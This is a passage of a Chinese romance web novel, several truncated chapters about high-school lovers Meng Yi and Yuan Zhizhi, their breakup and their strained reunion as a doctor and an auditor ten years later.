“上课有什么用,你得听课别睡觉呀。” 少年不吭声了,下意识想摸出裤兜里的烟,很快又意识到元知知还在自己身边,只得硬生生忍住。 “你摸什么呢?偷偷藏烟了?” “......没有。” “那就行,暑假你要回家吗?” 孟懿本想说留校,但他看着少女有些担忧的神色,想了想还是改了口:“去舅舅家。” 一语成谶,没过几天他就接到了于薇的电话。 电话那头的于薇诉说着一个母亲的思念,说着她对孟懿的种种亏欠,甚至放低姿态说如果孟懿不乐意可以一起去舅舅家吃个母子间的团圆饭。 那一刻孟懿几乎以为是自己的梦成了真,他一直渴望的来自母亲的爱终于也舍得施舍到他的身上了,直到他打开了舅舅家的门。 前来应门的是一个刚到他大腿的小男孩,于薇说那是他同母异父的弟弟,这次也是想正式介绍他们兄弟认识。 他想起一年也难得见上一面的母亲,看着依偎在母亲怀里撒着娇的男孩。 “他多大了?” “五岁,小安快叫哥哥。” “可您和我爸是五年前离的婚不是吗?”离婚时于薇已经快要到预产期,或许正满心欢喜的要生下另一个男人的孩子。 于薇保养极好的脸僵了僵:“孟懿你从小没跟在爸妈身边不知道情况,你爸爸身边其他女人可不少——” “你们这样的人难道还要分个优劣?” 孟懿深深看了她一眼,转身就跑。 于薇抱着于安许在身后焦急喊着他的名字,可终究没有追上来半步。 高二升高三的这个暑假格外热,热的孟懿比过去任何时候都更加暴躁。 “你暑假有回家吗?” 孟懿在键盘上翻飞的十指没受丝毫影响,“回了。” “是吗?时隔那么久回家的感觉怎么样?会不会触景生情想起小时候调皮捣蛋的样子很丢脸?” 他们的关系愈发近了,这类调侃的话也常说,这一次孟懿却是一声不吭起身直接离开了包厢,网吧的凳子被他推得向后一仰。 元知知从电动摇椅上坐起来望着被关上的门,没过一会儿突然离开的人就回来了,冲她说了一声抱歉后拎着外套回了学校。 很快班上不少人都发现了孟懿的不对劲,他又开始逃课,满身戾气又回到了他的周边,写满了生人勿近。 “知知,放学后去书店看看最新教辅吗?” “好啊。” “知知,这道题我也没弄懂,要不要一起去问刘老师?” “行。” “知知——” “安静会儿行不行!” 元知知愣住了,和她搭话的男孩也愣住了,就连孟懿自己也愣住了。 他从教室后门匆匆离开的背影像极了落荒而逃。 一整个下午孟懿都没有出现在教室里,元知知第一次逃了课。 整整两个小时,她终于在学校早已上了锁的天台找到了他,那道被锁起来的门被踹的稀巴烂,她小心钻过这道支离破碎的门,锋利的碎木棱角将她的校服划破一个小口子。 “孟懿,你到底怎么了?” 坐在天台边的少年跳下来,一口烟圈喷在了走近的少女脸上,呛得她直咳嗽。 “孟懿!” “你来干什么?不是要和好学生一起讨论题目?” 元知知一把扯过他嘴上的烟,鞋底重重碾过微弱的火星子,周遭地面上已经扔了不少烟头:“发什么疯?” 孟懿冷嘲一声,从烟盒里又取出一根烟,斜斜衔在嘴边,正待点火却被一只有些凉的手摁住了。 “外面冷,你回教室去。” 元知知不肯动:“孟懿,你抽了多少?” “不多。” 她拿过快空了的烟盒,凝神注视他。 孟懿被她失望的目光刺激,大脑中牵动着理智的弦几乎是摇摇欲坠:“怎么?之前把情绪藏得好好的,现在终于承认你看不上我了,失望了?我抽烟逃课还打架,你看不上我是正常的。” “和任何人比较我都是最不堪最不值得的那一个不是吗,你看,现在连你也这样觉得,管着我很烦吧?我这幅样子你很讨厌吧?那就快去找你那个好学生啊!” 最后一句几乎是嘶吼,孟懿很少有这样激烈外放的情绪,哪怕是生气也只是散发着可怕的冷气,元知知向后退了一步。 “你什么意思?” “没什么意思,别管我了,你走吧,以后都别管我了,很烦。” 元知知攥成拳的掌心被掐出深深的指甲印:“孟懿,你冷静下来我们再说。” “我很冷静。” “孟懿!你这样我真的生气了。” 少年被她喝住名字后被冷漠表象遮掩的瞳孔显而易见震了震,随即背过身去点燃了那只烟,驱逐的态度无需言明。 元知知走了。 孟懿和元知知吵架了,就连老刘都察觉到了他们之间不对的气氛。 他先后问了两次需不需要给她换个座位,第一次她拒绝了,一个月后问了第二次,她答应了。 元知知搬座位的那一天孟懿每次进出都把前后门关的砰砰响,任谁也看得出他的火气。 但她没有任何反应,他知道是他主动离开了她的眼里,是他亲手推开了她,黑暗再度笼罩了他。 孟懿好像又回到了以前的生活,宿舍很少再回,网吧变成了他第二个家,只有课还会照常去上。 元知知和那学习委员成了同桌,就是那个总缠着她的男孩。 他看见他们总凑在一起写着题目、上课总叽叽咕咕讨论什么、他会帮她值日、她也会帮他抱作业去老师办公室。 就这么过去不知道多少时日,在看到他们在一个早晨一同踏入教室时,孟懿内心的恐慌终于达到顶点。 他终于意识到他 19. 第 19 章 《分手后挂了初恋的号》全本免费阅读 孟懿和元知知在一起的第二天他就找到了老刘希望换座位,甚至堵上了这学期的一模考试才换得他勉强松了口。 小情侣坐在一起就连上课也时不时会在桌下悄悄牵牵手,弯下腰捡地上的橡皮时偷偷交换一个蜻蜓点水的吻。 元知知捂着刚刚一时不察被咬了一口的脸颊,踹了孟懿一脚:“幸好我们坐最后一排。” 下课后孟懿一瘸一拐去食堂打饭,今天有她爱吃的糖醋排骨,要跑快点去给她抢,红毛绿毛关心的问老大的腿怎么了,他敷衍着摔了快速挤进窗口里,徒留两个小弟一头雾水明明只是一节课的功夫是怎么在课堂上摔了一跤。 刚坐下没多久,元知知姗姗来迟,孟懿一边招手一边把自己盘子里的排骨都夹到另一个餐盘里。 红毛绿毛目瞪口呆的看着元知知坐下,挑挑拣拣着餐盘里的菜后不太开心的说道:“有好多姜丝,我不喜欢。” 孟懿当即停了筷子,开始一根一根挑着她盘里的姜丝,也是在在一起之后他才发现她其实是一个骄纵的性子,恃爱而娇无理也要强占三分。 但孟懿却觉得只对着他展示这一面的她更可爱了,这才是真实的元知知,娇生惯养肆意妄为,但值得最好的爱。 他知道她是在很幸福的家庭长大,他怕自己给不了她健康的感情,但她告诉他别担心,他们对彼此的珍视同时滋养着两个人,他已经做得很好。 他们约定了高考后一起去冰岛旅行,约定了一起去上华清大学,还有,大学毕业就结婚。 但元知知食言了。 甚至连一起去旅行也没能做到。 孟懿到现在都还能清楚的记得那一天路上看到的每一棵树、他那一天做过的每一件事、还有与她见面时每一个微小的细节。 元知知在电话里截断了他的话,告诉他想要见面,那个时候的他只因为两人要去同一所大学读书了而满心欢喜,丝毫没有察觉到她语气的不对。 “等开学了如果你想住宿舍就住宿舍,如果你不想住宿舍我就租个房子咱们出去住,听说华大的食堂不怎么样,我到时候天天给你做饭吃——” “孟懿,”元知知打断了自见面后就始终亢奋的少年:“你要报哪所大学?” “华清大学啊?我们不是说好了么?” 他觉得有些奇怪,不解女朋友怎么突然明知故问。 元知知垂眼看着咖啡杯中精致的拉花,没有出声。 孟懿心头突然涌起强烈的不安:“知知?我这两天已经看好去冰岛的票了,我发给你你觉得合适我马上买,还有旅行计划我也做好了,只差酒店还没——” “我不打算读华清大学了。” “什......什么?” 孟懿硬生生扯出一个比哭还难看的笑容,在这一张剑眉星目的脸上显得有些滑稽:“读其他大学也好,知知分数这么高肯定是要好好选的,不就是异地恋吗,德国我都能每周去看你,这对我们来说肯定不是问题。” 说着他慌忙掏出手机点开搜索引擎,连他自己都没察觉到按着手机屏幕的手指正在细细颤抖:“你想去哪里读书,我先搜好机票没课的时候就能来找你了,距离肯定不是问题。” 元知知叹了口气:“孟懿,你知道我是什么意思。” 捧着手机的手终于卸了力,那部情侣款的手机失去了支撑重重倒在桌上,孟懿的眼圈泛着明显的红:“我不懂你是什么意思。” “我们分——” “元知知!”慌乱之下他的语气强硬了一些,但很快又软了下来:“是不是发生了什么?你告诉我,不管是什么我们都可以解决的。” “你不要放弃,求你了。” 细如蚊呐的嗓音混合着哽咽,昭显着主人不平的心绪,但急促的让人插不上一句话:“告诉我好不好,是我哪里做错了,惹你不开心了,你告诉我,我都会改的。” “孟懿,你没有做错任何事,只是我们真的不合适,”元知知琉璃一样的浅色眸子望进他黑曜石般的瞳孔,被闪烁的泪珠刺的心间一疼,她慌乱的移开目光,强压下混乱的心绪,终于还是不顾他拼命的阻拦说出了那句话:“我们分手吧。” 孟懿像是终于被判了死刑的犯人,无力的跌坐在沙发椅上,元知知不敢看他,说出这句话时就已经没了回头路,她怕自己舍不得。 “我不同意。” 即使哽咽,即使眼泪已经顺着下巴淌落,但这四个字掷地有声,孟懿死死盯着元知知:“除非你给我一个合理的理由。” “不喜欢了还不够吗?” 孟懿轻笑:“你撒谎的时候总是这样的表情,知知,别骗我。” 十八岁的元知知尚且青涩,当即紧了紧握着杯子的手,手心已经渗出汗水,她有些后悔没有在电话里直接和他提分手。 他的目光让她无处遁形。 “不信算了,从此以后各自过各自的人生吧。” 元知知起身就要走,但被孟懿牢牢钳住了腕子,他的手像刚从火里取出的铁钳,几乎要将她融化进身体里。 刚才信誓旦旦戳穿她的谎言只是短暂的一瞬,此时他的面上再不复方才的淡然,哀哀乞求的模样本不应该出现在他这样的人身上。 本就未干的泪痕重又被附上了新的:“对不起知知,不管怎么样都是我的错,只要不分手,不分手我做什么都可以,求你了元知知。” “就当可怜我吧。” 元知知的眼泪也快要下来了,她转身用手指轻轻抚着他的脸颊,几乎软下的心在回想起那对夫妇字字句句的指责时重又竖起了坚固的围墙。 她不应该耽误他,那样太自私了。 孟懿的手被轻轻拂开,这一次她头也不回的离开了。 此后他还去海河市找过一次她,他在她家楼下等了一天一夜,直等到遛狗的邻居都开始用奇怪的眼神看他,也没能见到元知知一面。 他再一次拨出她的号码,这一次不是被拉黑未接通的提示音,这几天以来她第一次接了他的电话。 “知知,分手可以,至少给我一个解释。 20. 第 20 章 《分手后挂了初恋的号》全本免费阅读 他们怔怔的看着彼此。 好半晌元知知才从哑然中发出了声音:“华清的雷无论过去多久好像始终都是那么声势浩大的可怕,但我已经不那么怕了。” “是吗。”孟懿笑了一下,这个笑却让元知知心口一抽,无端的有些难受。 电话还没挂断,手机在她的手里发着烫,谁也没有想起要点亮手电筒,他们靠着偶尔一闪而过的闪电端详彼此的脸。 “已经四点钟了,你怎么在这里?” “搬到医院宿舍来住了,方便值班。” 凌晨四点,暴雨将天幕遮挡的严实,一丝天将拂晓的迹象也没有,元知知看着这个本该在自家床上安心休息的人,补上的最后一句话更像是欲盖弥彰的借口。 即使已经搬到宿舍来住了,为什么却在这个理应熟睡的时间站在这里。 她还未从门把上挪开的手微微紧了紧,门锁被带动着发出轻微的机械声响,她告诉自己不要多想,不要自作多情。 孟懿也想不明白自己是不是真疯了,十年,十年时间全身的血都足以换一遍了,可面对着她时疯狂跳动的心脏仍和十几岁时如出一辙。 医生宿舍的桌上还用重物压着那张皱巴巴的宿舍申请单,于安许进屋睡觉后他就像失去理智一样从垃圾桶里把它捡起来,驱车破开雨幕往华清一院而来。 他们短暂的大半年恋爱时光里经历的年月甚少,但恰巧共浴过一个最难忘的盛夏。 面临高考饶是十拿九稳如元知知也不可避免的感到压力,神经衰弱之下连带着对惊扰睡眠的雷声也生出了发自本心的恐惧。 是孟懿安抚住了她,年轻气盛的少年人只是稍稍亲一亲自己心爱的女孩就已是难以自抑,更是不敢在被雷雨包围的夜晚同她单独待在一处,谁也不敢触碰禁果。 于是每逢这样的天气,两部手机就会工作彻夜连接着年轻情侣的呼吸,直至一方彻底入眠,另一方才会伴着她的呼吸向睡意投降。元知知习惯了他的安抚,孟懿也习惯了安抚者的角色。 习惯的养成需要21天,但丢掉一个习惯或许只需要一周时间。 元知知不可避免的回忆起了被妥帖安放在记忆一角的那数个夜晚。 孟懿也近乎自欺的以为自己早就丢弃掉这个微不足道的习惯,但现在这个春末的夜晚告诉他原来不是这样,有些东西一开始没舍得彻底割弃,岁月的洗礼便会让它深入骨血。 “睡不着?” 元知知点头,提一提手上的电脑包以做示意:“行政楼有电,去那边加个班。” “工作这么辛苦?” “或许比你们医生差一点点,毕竟我们有淡季。” “淡季有多久?” “运气好三四个月,运气不好一两个月。” 孟懿扬扬眉峰:“看来今年百日誓师回母校的时候得告诫学弟学妹别学医也别学财务了。” “是啊,没时间恋爱生活,没时间休息调整,就连生病都没有时间。” “或许你应该和一个医生谈恋爱,有个随时能给你调理身体的人。” “你这话可别让我们老板听见了,不愧是孟家的儿子,这天然的老板思路直接能让打工人全年无休工作到死了。” 读书的时候孟懿家庭条件好在学校里不是什么秘密,否则也不至于许多老师也不敢管他打架逃课的事,元知知这话只是玩笑,但气氛显然没有如她所愿的轻松下来。 黑暗里孟懿肃了神色:“我没有那个意思,我那么说只是因为我确实这么想,我只是觉得比起工作的话健康更重要。” “现在又有几个工作会不损害健康的呢?更何况以你们医生的工作强度,身体状况或许还赶不上其他人呢。” 说着说着她不知为何带了些尖锐的火气:“你扪心自问想想,忙起来连自己都顾不上的医生真的能帮伴侣调养身体?要我说,最不适合和彼此恋爱结婚的就是医生和审计了,一个称得上根本没有休息时间24小时待命,一个几乎全年都在满世界的飞居无定处,难道真要谈那一年见不了一次的柏拉图恋爱?” 元知知看不清孟懿的神色,因而无法判断他此刻的沉默是什么意思。 她抿紧了唇瓣,人在深夜果然会说出许多自己也无法理解的话、做出许多即使当下也觉得过于冲动的行为,她放开房门把手,抬起滚烫的手机摁断了电话,孟懿的手机也因通话结束突然亮起了屏幕。 她打开手机电筒,两人的神情终于在光亮下再无遮掩的暴露在彼此眼中,但她逃避似的偏过了头:“站了好一会儿了,我该走了。” 错身而过的瞬间,清冷的声音像贴着耳朵灌进她的心里:“牙医......也没有那么忙,所以即使伴侣更忙碌一点也没什么。” 他们都意有所指,在这一刻心知肚明。 “是吗?正好我男朋友做的也不是什么很忙的工作,看来他很适合我。” 这是元知知第一次在他面前盖章认定那个男人,孟懿再度沉默,死寂包裹着他,就像猛然从混沌中清醒过来带着伤口缩回了边界分明的安全区。 电闪雷鸣再度炸响,他如梦初醒般转身追了上去,好在女人并未走远,他在一楼楼梯口追上了她。 “我送你去行政楼。” “我有伞。” “我也有伞。” 元知知没再推拒他的好意,两柄宽大的伞面将彼此隔开些距离,落在伞中间的雨幕好像在为他们画着楚河汉界。 目的地很快就到了,孟懿礼貌的告了别,随即毫不留恋的转身离开。 元知知怔然,接着也收了伞朝楼上走去。 谁都没有再回头,好像在较着什么劲。 - 章汝舟和陆昱到了办公室开始工作时元知知刚结束自己的工作,她正收拾了东西起身准备离开。 他们组的氛围好就好在这儿,各司其职,每个人只要做好自己分内的事情就可以,而不需要碍于资历和情面帮其他人分担不属于自己的工作,帮忙是情分而非义务。 章汝舟只能用那双饱含了羡慕的美目目送着她离开办公室。 下午还有工作,凌晨夜里的加班只能让她勉强解放一个上午,元知知打算充分利用这个时间。 签署了安全协议,在赛车服外佩戴好了护具,刚坐上卡丁车元知知就一脚油门轰了出去。 圈速1分20秒,工作日的上午人少,不带刹车的五圈下来她 21. 第 21 章 《分手后挂了初恋的号》全本免费阅读 林鹤之今年三十出头,刚刚在美国拿到博士学位没多久,如今正在一所大学任教。 他和元知知一样是到华清市出差的,不同的是他只需要再待一周就可以结束这边的工作回去,这是他第一次到这个城市来,本是独自消遣,没想到一而再的碰到她。 “你看起来斯斯文文,我还以为你应该就是成天坐在书房里跟文字打交道的那类人呢。” 元知知显然对于在卡丁车俱乐部见到他很是惊异,被描述成“书呆子”的林鹤之淡笑道:“或许你也会喜欢蹦极跳伞这类活动?” “看来你们年轻学者学术压力很大?” “只是个人爱好。” 他们一齐向外走去:“元小姐是哪里人?” “海河市。” 林鹤之顿住脚步,元知知侧头看他,眉目带着好奇:“按照礼尚往来的传统,我以为接下来应该是你的回答了。” 沉静内敛的面容上浮现一丝笑意,男人抱歉道:“我只是有些惊讶,没想到会有这么巧合的事,我和元小姐一样恰巧也是海河市人。” “当真?” 同乡情谊不知不觉拉近了两人距离,没过多久疏离感就消融几分,只可惜元知知下午还有工作,他们只能匆匆的共进一餐后各自告别。 本计划周末有空再聚,但不是林鹤之有论坛会议需要参加发言就是元知知忙得脚不沾地根本没有闲暇时间,好不容易凑上一个双方都空下来的周一,华清一中的邀请又一次打破计划。 是孟懿之前提到过的百日誓师大会。 华清升学率最高的三所高中里一中作为新晋强校比不上其余两所老牌名校的底蕴,因此每年的百日誓师大会都会敞开大门欢迎历届学子归校观礼,这是能够增强校友荣誉感和归属感的有效方式,听说还是当初的老刘踊跃提议历时半学期才拍板定下的。 每年这个时候一大群毕业学子回校追忆青春时光,学校也会从中选出几个出类拔萃的学子给学弟学妹们做个小型演讲,以激励这群正面临着高考的孩子们。 元知知不想因为孟懿而错过这次难得碰上的机会,为了避开一个人而违背本性改变自己计划本就不是她的风格,她已经数次这样做过了。 况且,她不想让自己在他面前落入下风,哪怕只是自己心中权衡比较后的下风。 元知知应下了邀请。 本意是多年未见,这一次回去看一眼就好,但老刘一接到她要回校的消息就立马提出了演讲请求。 谆谆教导了三年的恩师声音在耳边恳切邀请,这下连中途反悔的机会都没了。再加上演讲的时间安排原因她还不得不在一中待上一整个下午。 元知知只得向林鹤之道歉,他们本来约定好周一那天再去一次卡丁车俱乐部,林鹤之已经拿到从60cc到100cc的资格,对于用同一排量的车再赛一场两人都跃跃欲试。 但元知知刚开了个头那边就先道起歉来,说有一个敬重前辈的发表定在了周一,他与主办方和前辈都有着熟络的关系,到那天不得不留下辅助没法脱身,只得和她取消见面的约定了。 元知知笑着说好巧,礼貌互道再见后她心里包袱反而更加累赘了些,林鹤之一直是一个进退得宜温柔体贴的人,这一次也一样。 作为今年才第一次参与这个学术论坛的青年教师他的发言时间不多,也并不需要时时留下听每一场讲座,不过是从她的口风中察觉到了歉意,所以先一步告罪以自己有事耽搁的名义取消了见面。 只是一件小事,但他把责任先一步揽在了自己身上。 的确是一个很贴心的举动,也看得出来林鹤之的家教应该极合宜,但元知知心里反而多了些负罪感。 “叮咚。” 微信提示音响起。 【MY:需要搭你一起回学校吗?】 孟懿的头像突然从沉了底的聊天框里一跃到了最顶端,打断了元知知的思绪。 他问的是百日誓师那天她要不要搭便车。 元知知拒绝了,他没有再回复。 她盯着他的头像看了半晌,是一只正在草地上嬉闹的伯恩山。 张女士不允许家里出现猫猫狗狗这类动物,但元知知从小就喜欢狗,小学时喜欢斑点狗、中学时喜欢比熊犬,到了高中则爱上了伯恩山,读书时代就下定决心等到自己工作生活了她一定要养一只属于自己的小狗。 少年时的孟懿一脸嫌弃,但说话的语气却无比认真:“不就是养狗嘛,以后我们俩也养一只。” “那我要养伯恩山。” “好。” 这场回忆中的对话与其说是约定,不如说是承诺,孟懿郑重的像是在给她一个未来的承诺。 学生时代对未来的憧憬很美好,但真的到了这个时候才发现什么都是瞬息万变的,到现在元知知也没有能养上一只属于自己的小狗。 工作太忙、时间不够、家里太小......养狗的愿望或许只需要喜欢就够了,但没法养狗的理由现实却会给出许许多多条。 元知知想最重要的一点或许还是因为她没有足够的信心对一条小生命负起责任来。 不知道孟懿家中是不是养了一只像他头像一样小小的伯恩山,不知不觉间她从他的头像点进了朋友圈。 半年可见的朋友圈轻轻一滑就翻到了底部,在华清一院的各类成果发表的推文转发中只有一条是他自己发的,是一张简简单单的风景照。 湛蓝如洗的天空风烟俱净,骄阳斜挂,赤忱热烈的照耀让整个世界都仿佛成了光明之渊。 她下意识看了看这条朋友圈的发表时间,三月的某一天,也是她猝不及防与他在医院重逢的那一天。 - 孟懿一抬眼就看到了两个好友们满目担心的神色:“犯什么病了?” 李杭和陈骏驰齐刷刷摇头,但李杭终究是个憋不住话的主,不出所料连一分钟都没坚持过去他就忍不住开口了:“听说......明天有安排?” “回高中一趟。” < 22. 第 22 章 《分手后挂了初恋的号》全本免费阅读 女朋友? 那一瞬下意识的慌乱和气闷让元知知快要喘不过气,但她很快就意识到了这个所谓的“女朋友”好像是在说她? 办公室里人不多,一眼就能看尽,大部分在之前的同学聚会上已经重聚过了,纷纷给她打着招呼。 唯有最里面的男人只是侧头看了她一眼轻轻点了个头后就收回了视线,孟懿的睫毛很长,侧脸对着人时洒落在脸上的阳光就像是在他的睫毛上跳舞。 已经在各行各业发展的如日中天的老同学哪个不是人精,见状纷纷噤声,随即开始大聊特聊经济发展世界局势。 刚刚开口招呼元知知的男人常年在国外发展,上个月才回国。 当初这两人的架势让不少同学都认定了大学毕业肯定能喝上他们的喜酒,因此他虽不清楚孟懿和元知知后来的发展,但也从没想过他们会有第二种结果。 但场面的尴尬也让他后知后觉的察觉到了自己的不合时宜,只得讪讪地闭了嘴。 坐在办公桌前的中年男人费劲扒拉过这一群比自己高上许多的学生总算看到了来人的脸:“元知知!毕业那么多年来总算回来了!” “刘老师,您看起来还是那么精神。” 元知知提着补品与水果穿过人群,还没来得及走近就有一双手伸了过来,她自然的将手上的东西递了过去。 孟懿接过后随手搁在老刘对面 两人均是一愣,仿佛回到十年前他一见面就会接过她书包的那时候。 老刘如今已五十多岁了,头发倒还顽强的树立着,只是花白了一大片,瓶底厚的眼镜架在鼻头上,眼皮无力的耷拉了不少。 看得出来他十年如一日的在为学生操劳着,虽然老了,但仍旧精力充沛一如担任他们班主任那会儿。 “老了老了,哪里精神,倒是你啊那么久才舍得回来看看老师同学,比起我记忆里青涩的模样可是变化太大了。” “我也快三十了,变化哪能不大。” 刚才聚在办公室里的同学们已经三三两两出去,想趁着学生们还没下课时好好逛一逛校园追忆往昔。 有同学拉了孟懿想要一同行动,但他拒绝了,仍坐在办公室的沙发里没有动弹。 老刘镜片后一双眼睛更小但更明亮了,看着这两个学生的时候让人不自觉想起高中时被班主任从后门小窗注视着的紧张。 像探照灯一样几乎让人无处遁形。 “分手了?” 老刘可不管什么面子不面子、尴尬不尴尬的,有什么问什么,直白的诠释着什么叫一日为师终生为父,你爸爸还是你爸爸。 元知知心头一跳,和孟懿对视了一眼,没什么暧昧情绪,纯粹是慌张。 这位昔日的班主任看着这两人的眉眼官司冷哼一声:“还以为自己瞒的很好呢?当初孟懿这臭小子就差在脸上用毛笔写上‘我谈恋爱了’这几个大字了,我抓了这几十年早恋要是还没看出来可真就白干一场了。” “要不是看你俩不但学习没退步还一个比一个有劲头我早把你们家长叫来了。” 有劲头是因为约定了要一起去上华清大学,而那个时候孟懿已经因着要出国落下许多,距离华大的分数线还差了些许。 老刘眼里容不得早恋,却没想到自己亲手促成了一对,这也是他唯一手下留情真正放过了的一对早恋小情侣。 毕竟他亲眼看着那个颓丧轻慢的少年身上一点一点迸发出了属于那个年纪应有的生机。 他们互相滋养着,彼此托举着。 “多久分的?” “毕业没多久就分了。” “是吗?这些年从来没听到孟懿提过私人方面的事,我也忍着没问。还以为你们快修成正果了,可惜了……” 语尽处尽是叹惋,老刘是真的觉得可惜。 “迟早会分的。” “没什么可惜的。” 男女两道声音一同响起,一个从容一个镇静,连眼神都没有给对方一个。 “也好也好,分手后还能做朋友,已经比很多见面跟仇人一样的人好了。” “不算朋友。” 这一次两道声音倒是默契的给出了相同的反驳,推开对方时口口声声的“普通朋友”都是托辞,这一刻他们才算是说出了真心话。 太刻骨铭心、太轰轰烈烈,这段爱里灌注着血肉,再见面无论是什么关系也不可能与对方做朋友。 没办法与对方做朋友,也不甘心只是普通朋友。 彻底拥有过再分开,成为陌路人是他们唯一的选择,即使没有交谈,但元知知和孟懿很巧妙的在转睫间洞悉了彼此的想法。 老刘这一回也感觉到了些尴尬,他说话直,没想到这两个学生说话更直。 最后只得道:“我就说了不能早恋,不能早恋吧!我当初在班上怎么强调的,高中正是专心学习的时候,这个时候谈恋爱的没几个有好结果的!” 元知知和孟懿各自偏过头去。 “当然你俩高考成绩还不错,还有不少学生是连学习也耽误了的。” 老刘越说越激动,想起现在这一届学生里几对分数掉的厉害的学生,硬生生把自己说得火气直冒。 他一辈子都在学校,大部分时间都面对着学生因此为人率真,对着这一对过去的学生直言道:“真想让他们看看,学生时代的山盟海誓管不了一辈子的,专心学习才是头等大事!” 孟懿听到这话幽幽的朝元知知看了过去,想看看这个先选择放弃的女人有没有一点点的心虚,不料她却比他更生气的瞪了他一眼。 饶是少有波动如孟懿也禁不住太阳穴突突直跳。 他想开口说些什么,但视线在接触到她的面颊时还是默默把话咽了回去。 从老刘办公室出来以后学生们已经下课了,高三的孩子们列成队朝操场走去。人群纷杂,他们一前一后走着,一直到下了楼后孟懿若有所觉的回头,元知知的身影已经被人潮淹没。 都是成年人,已经不需要在人群里随时跟着护着,一会儿百日誓 23. 第 23 章 《分手后挂了初恋的号》全本免费阅读 孟懿固执的看着她,在她转身的一瞬间牢牢抓住了她的手。 藕节般白嫩的胳膊被钳制在属于一个医生骨节分明的手里,动弹不得,逃开这里的冲动被现实死死压制,她只能重新看向他。 “我不想再说这些。” “但我有权利知道一个真正的原因。” “孟懿,你这样只会让我觉得你还爱着我,你还对我念念不忘。” 她故意说着这样的话,果然见他神色一冷,唇角抿出尖锐的冷笑,就连裸露在外的胳膊也绷起了明显的肌肉线条:“念念不忘?时间已经给了我结果,我不会傻到去有这样多余的情绪。” 元知知抽了抽自己的手,但只是徒劳,她只得无奈又怅然道:“时间也会给你答案。” “我想听你的答案。” 沉默。 上课铃已经响起,教室里又响起朗朗读书声,不远处的操场麦克风传来校领导们对着即将面临高考的高三生发表讲话的回音。 这方天地好像只剩下他们二人。 “是我妈来找过你?还是我爸?” 浅棕的瞳孔微微一震,她面上伪装的淡然险些出现皲裂,孟懿比她记忆中的样子更加敏锐了。 她开口想说些什么,紧接着在脑海中出现的就是那个女人拍打桌面脸色涨得通红的样子和那个男人像蛇瞳一样从头到脚冰冷审视打量她的眼神。 即使事过境迁、此去经年,但元知知永远忘不了那个时候内心极度的惧怕与自责,她才十七岁,无法应对这样的场面,甚至一度进行着最残忍的自我诋毁。 即使在那对夫妇面前装的再像一个真正的成年人,那时的她也还是一个在保护中没有真正长大的女孩。 一击即溃。 而在华清一院见到孟懿的那一刻起,酷刑一般的愧疚与自责再度如影随形,日日夜夜折磨着她。 话到嘴边,元知知却开不了口,现在说出来算什么呢?卖惨还是挑拨?抑或是指责那个时候的他给了她太大压力? 甚至于那对夫妇说的话都是真的,她看着已经成为一个成熟医生的孟懿,明明应该为他高兴,心里却只想落泪。 她或许真的耽误了他,这样的想法在一次次看到他奔波在病人间连一口热饭也赶不上吃的时候被重复印证,她真的是他一帆风顺的人生中一颗拦路又硌脚的石子。 孟懿还在等她的答案:“告诉我元知知,是我做错了什么?还是发生了别的事情?” “够了!别逼我了,我不想再看到你,不想再回忆跟过去有关的任何事情,孟懿,成熟一点。” 他松了手,皓腕上一圈充血的红痕突兀的扎入了他的眼里,瞳孔微缩,孟懿本能的想重新牵起她的手,但被元知知迅速的避开了。 他抓了个空。 孟懿的眼底又红了,这样脆弱的神情和他凌厉俊美的眉目格格不入。 激动的情绪让他几近于破罐子破摔,阴鸷哼笑道:“或者说,你本来就不是认真的,只是看我这么轻易就沦陷,陪我玩玩而已。” 元知知不可置信的盯着他。 “怎么不说话了?我说对了是吗?从一开始你就在耍我——” 凌厉的掌风袭来,孟懿丝毫没有要躲开的意思,连眼睛都不曾眨动一下。 但这一记耳光终究没有落下,元知知的手在离他侧脸几厘米处硬生生停住了,含混的嗓音囫囵着哽咽,但她面上的神情是那么疏离:“我们之间没什么好说的了。” 她转身的瞬间长发拂面,很快随着引力落下垂在主任身后,和她一起远远离开。 面颊微痒,孟懿再一次抓空了。 垂在身侧的手骨节凸出到泛白,他清晰的感觉到自己的左胸处一阵抽痛,自脚底漫生的恐慌剥离了他的呼吸,喉咙发紧,他几乎要喘不过气来。 怎么能这样对她说话?怎么能这样评判她的感情?如潮水涌来的惊慌与悔意席卷天地,孟懿抬脚追了上去。 “对不起知知,对不起,我不是那个意思,我口不择言我混蛋,我错了,我真的错了。” 元知知加快了脚下的步子,他只得小心翼翼跟在她身后。 欲伸出的手在碰到她腕边骨节凸出处还未消散的红印子时又如触电一般收了回去,他的声音小了许多,像是怕惊扰了谁:“对不起知知,我只是......很想你。” 十年,已经快把他逼疯的十年。 他与自己对抗着,否定着,这场争斗已经持续许久,久到孟懿终于感觉到了精疲力尽,他的最终选择是投降,这也是他唯一的选择。 向元知知投降,以爱的名义举起白旗。 他终于无法再否认他还爱着她,一如十年前在这所学校里度过的每个日日夜夜,甚至更加热烈更加沉沦。 - 元知知可以说是逃跑似的赶到了主席台旁边,老刘找人找的心急如焚,瞧见她来了霎时两眼放光。 “你说说你这孩子,以前上学的时候从来不让老师操心,这下可让我把没操过的心都补回来了!” “下一个就到你讲话了,要是再找不着你和孟懿我可就得硬着头皮上去临场发挥了,就算我能讲学生们也不乐意看我啊。” 她还没来得及安抚自己这个班主任,老刘自己就已经把自己安抚好了,台下掌声雷动的同时轻轻拍拍她的肩膀。 她走上了主席台。 台下一双双还未被世俗沾染的眼睛看着她,校领导讲话都听烦了,本以为又会上来一个老头他们都做好了打瞌睡的准备,没想到上来的是一个年轻漂亮气质出众的女人。 几乎所有人的眼球都被抓了过去。 “大家好,我是你们的学姐,元知知。” “学姐好!” “学姐真好看!” 百日誓师是高三学生在高考前难得可以放松的日子了,是以几个皮猴儿叫起来的时候领导们虽然皱眉摇头,但谁也没去阻止。 “这个学姐好眼熟。” “能不眼熟吗?人家可是实打实挂在优秀校友榜上的。” “难怪,我记得她是海河大学的,国内数一数二的大学啊... 24. 第 24 章 《分手后挂了初恋的号》全本免费阅读 学生们面面相觑,接着开始发出起哄声欢呼声。 还不忘小心翼翼瞥一瞥守在一旁面色各异的班主任们,这一次是人家学长自己说的,总不能怪到他们头上吧。 老刘也小心觑一眼校长,人直接闭上眼睛眼不见心不烦了。 但他好歹放下了心,开始乐呵呵的听自己这个学生要说什么了。 孟懿的声音清越,情绪并不低落时便如汩汩清泉,通过学校效果一般的麦克风到达操场各处,鼓动着听众的耳膜,让人不禁沉溺其中。 “学长高中什么时候谈的恋爱啊?” “高三,但我在高二就已经很喜欢她了。” 学生们闻言更是跃跃欲试开始提问:“你女朋友也是你的同班同学吗学长?” 孟懿眉目舒展,嘴角随意一扯道:“当然。” 